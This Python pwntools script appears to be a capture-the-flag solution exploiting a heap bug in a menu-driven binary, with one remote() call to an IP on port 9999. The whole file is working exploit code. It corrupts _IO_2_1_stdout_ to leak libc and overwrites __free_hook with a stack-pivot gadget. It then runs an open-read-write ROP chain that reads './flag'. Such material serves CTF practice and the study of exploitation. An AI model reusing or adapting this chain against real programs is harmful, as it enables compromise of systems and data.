p = remote('172.51.221.20','9999')
"""

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x1B0A)\n")
pause()

def choice(num):
p.sendlineafter("Choice >> ",str(num))

def fill():
choice(0)

def add(size,content):
choice(1)
p.sendlineafter("Size:",str(size))
p.sendlineafter("Content:",str(content))

def dele():
choice(2)

def pwn():
add(0xe0,"a")
dele()
fill()
dele()

success("stdout >> "+hex(libc.sym["_IO_2_1_stdout_"]))
_IO_2_1_stdout_offset = 0x96a0
head_offset = 0xb7f0
head_offset2 = 0xb800

add(0xe0,p16(head_offset))
add(0xe0,p16(head_offset))
add(0xe0,p64(0)+p64(0x491)+p16(head_offset2))

add(0x60, "a")
dele()
add(0x30, p16(_IO_2_1_stdout_offset))
add(0x60, "a")

payload = p64(0xfbad1887) + p64(0)*3 + '\x00\n'
add(0x60, payload)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym["_IO_2_1_stdin_"]
success("libc_base >> " + hex(libc_base))
free_hook = libc_base+libc.sym["__free_hook"]
puts_libc = libc_base+libc.sym["puts"]
gets_libc = libc_base+libc.sym["gets"]
success("free_hook >> " + hex(free_hook))

gadget1 = libc_base + 0x00000000001547a0
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget2 = libc_base + 0x000000000005e650
# mov rsp, rdx; ret;
gadget3 = libc_base + 0x000000000004a5c5
# add rsp, 0x28; ret;
success("gadget1 >> " + hex(gadget1))

pop_rax_ret = libc_base + 0x000000000004a550
pop_rdi_ret = libc_base + 0x0000000000026b72
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c1e1
syscall_ret = libc_base + 0x0000000000066229
success("syscall_ret >> " + hex(syscall_ret))

payload = p64(0)*5 + p64(0x81) + p64(free_hook)
add(0xe0, payload)

flag_addr = free_hook + 0x50

ORW = "./flag".ljust(8,"\x00")
# open(bss_addr,0)
ORW += p64(pop_rax_ret) + p64(2)
ORW += p64(pop_rdi_ret) + p64(flag_addr)
ORW += p64(pop_rsi_ret) + p64(0)
ORW += p64(pop_rdx_r12_ret) + p64(0) + p64(0)
ORW += p64(syscall_ret)
# read(3,bss_addr,0x60)
ORW += p64(pop_rax_ret) + p64(0)
ORW += p64(pop_rdi_ret) + p64(3)
ORW += p64(pop_rsi_ret) + p64(flag_addr+0x300)
ORW += p64(pop_rdx_r12_ret) + p64(0x60) + p64(0)
ORW += p64(syscall_ret)
# write(1,bss_addr,0x60)
ORW += p64(pop_rax_ret) + p64(1)
ORW += p64(pop_rdi_ret) + p64(1)
ORW += p64(pop_rsi_ret) + p64(flag_addr+0x300)
ORW += p64(pop_rdx_r12_ret) + p64(0x60) + p64(0)
ORW += p64(syscall_ret)

payload = p64(gadget1) + p64(free_hook+0x10)
payload += p64(gadget3) + p64(0)*3 + p64(gadget2) + p64(0) + p64(pop_rdi_ret) + p64(free_hook+0x50) + p64(gets_libc)

add(0x70, "a")
add(0x70, payload)

#debug()
dele()

p.sendline(ORW)
p.interactive()

if __name__ == "__main__":
elf = ELF(challenge)
libc = ELF('libc.so.6')
while True:
try:
p = process(challenge,timeout=1)
pwn()
except Exception:
p.close()

"""
elf = ELF(challenge)
libc = ELF('libc.so.6')
p = process(challenge)
pwn()
"""